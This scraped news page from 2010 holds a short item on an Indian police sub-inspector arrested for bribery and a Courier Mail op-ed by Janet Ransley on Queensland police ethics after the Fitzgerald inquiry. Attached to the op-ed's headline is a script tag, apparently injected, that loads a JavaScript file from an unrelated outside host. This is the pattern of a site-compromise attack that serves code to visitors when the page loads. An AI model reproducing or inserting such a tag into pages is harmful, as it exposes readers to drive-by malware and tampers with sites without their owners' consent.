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NEWS > 14 February 2010

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ACB nabs police officer while
The Anti Corruption Bureau (ACB) on Friday arrested a police official for demanding a bribe of Rs 20,000. Harishchandra Dalvi, a police sub-inspector of the MIDC police station, was arrested by the ACB after he was caught accepting the amount from one Anil Sapale, an accused in a cheating case.

According to the police, Sapale, who works in a foreign exchange firm, has been accused of embezzling foreign exchange amounting to Rs six lakh. He was booked by the MIDC police and Dalvi was the investigating officer in the case. Sapale had moved a local court seeking anticipatory bail and ... Read more

 Article sourced from

Ethics in Policing<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
Courier Mail
14 February 2010
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Ethics in Policing

Vigilance is needed to maintai

SEX, drugs, nightclubs and allegations of misbehaving police - The Courier Mail's recent revelations conjure a sense of deja vu for anyone who recalls Queensland in the pre-Fitzgerald 1980s.

Then the focus was on Fortitude Valley. Now "sin city" has shifted to the Gold Coast. When combined with revelations from the Crime and Misconduct Commission's Dangerous Liaisons report from last year, Queenslanders could be forgiven for thinking that the state has indeed gone back to the bad old days, as some commentators suggest.

But while any police misconduct is a worry, there are some major differences between the earlier corruption and the current problems. These differences result from reforms following the 1989 Fitzgerald report. Some of these reforms have been diluted or wound back, but enough remain to make Queensland policing in 2010 fundamentally different from what came before the inquiry.

But, as anti-corruption commissioner Tony Fitzgerald noted last year, vigilance is needed to maintain the reform agenda in the face of complacency and self-interest.

It is easy to forget the scale and reach of the corruption that Fitzgerald uncovered. From the 1960s through to the late 1980s, crooked police at the highest level protected criminals who ran illegal activities in Queensland, especially prostitution, bookmaking and illicit liquor sales.

Evidence to the inquiry directly implicated two former commissioners, Frank Bischof and Terry Lewis, and Lewis was sentenced to 14 years in prison for corruption. Senior officers enriched themselves, promoted the careers of like-minded colleagues, and tried to destroy any who dissented. As a result, corruption and abuses of power flourished. Perjury and disregard for due process was rife, and favoured criminals built empires.

Police accountability was non-existent, both through the totally ineffectual Police Complaints Tribunal and a series of police ministers who turned a blind eye to the problems. From the 1971 Springbok protests onwards, police were used arbitrarily by then premier Joh Bjelke Petersen to further the government's own agenda.

Fitzgerald did not just expose police corruption but also showed how an ineffective parliament, a distorted and unfair electoral system, a moribund and politicised public service and justice system, secrecy, and a lack of modern administrative appeals and judicial review all acted to entrench and hide that corruption.

He also recognised that a one-off royal commission could not be a permanent fix. Instead he recommended the creation of the Electoral and Administrative Review Commission and the Criminal Justice Commission (now the CMC).

Outside policing, the successes include lasting improvements to the electoral system and judicial review.

The biggest disappointment has been the continued failure to achieve real reform of parliament. The goal was an active and informed check on executive power but the reality has been political posturing and often inane debate.

Improving integrity among ministers and senior public officers has also been a difficult target.

In terms of policing reform, the report card is also mixed. Police are now better educated and trained, and there are more of them per head of population. They have access to better technology and are much better funded. Lasting changes have been made to QPS recruitment and human resource practices, especially the introduction of fair systems. Information and management systems have learned from best practices elsewhere.

But the area of misconduct remains a problem. On the positive side, the once non-existent accountability has been replaced by a plethora of government agencies overseeing what police do, including the QPS Ethical Standards Command, the CMC, the Ombudsman, Misconduct Tribunals, and parliamentary committees.

Numbers of complaints against police are tracked and analysed, and the corruption that was once endemic and actively supported by senior officers and compliant politicians is now more localised, largely in problem areas like tourist and entertainment zones.

However, in recent years there has been an increasing reversion to police investigating police, as more complaints are referred back to the QPS to deal with.

The CMC's own audits reveal that one in five of these investigations is unsatisfactory and, despite this, there appear to be fewer CMC audits taking place. In addition, investigations seem to be slow and cumbersome. The CMC and QPS argue that a mature organisation should be responsible for its own integrity but experience from around the world suggests that police require close supervision and independent monitoring.

The 2009 Dangerous Liaisons report, together with the recent allegations, suggest that both the CMC and QPS need to ensure that misconduct processes retain public confidence, or risk having all police regarded as potentially suspect.

Dr Janet Ransley is deputy director of the Key Centre for Ethics, Law, Justice and Governance at Griffith University.
 

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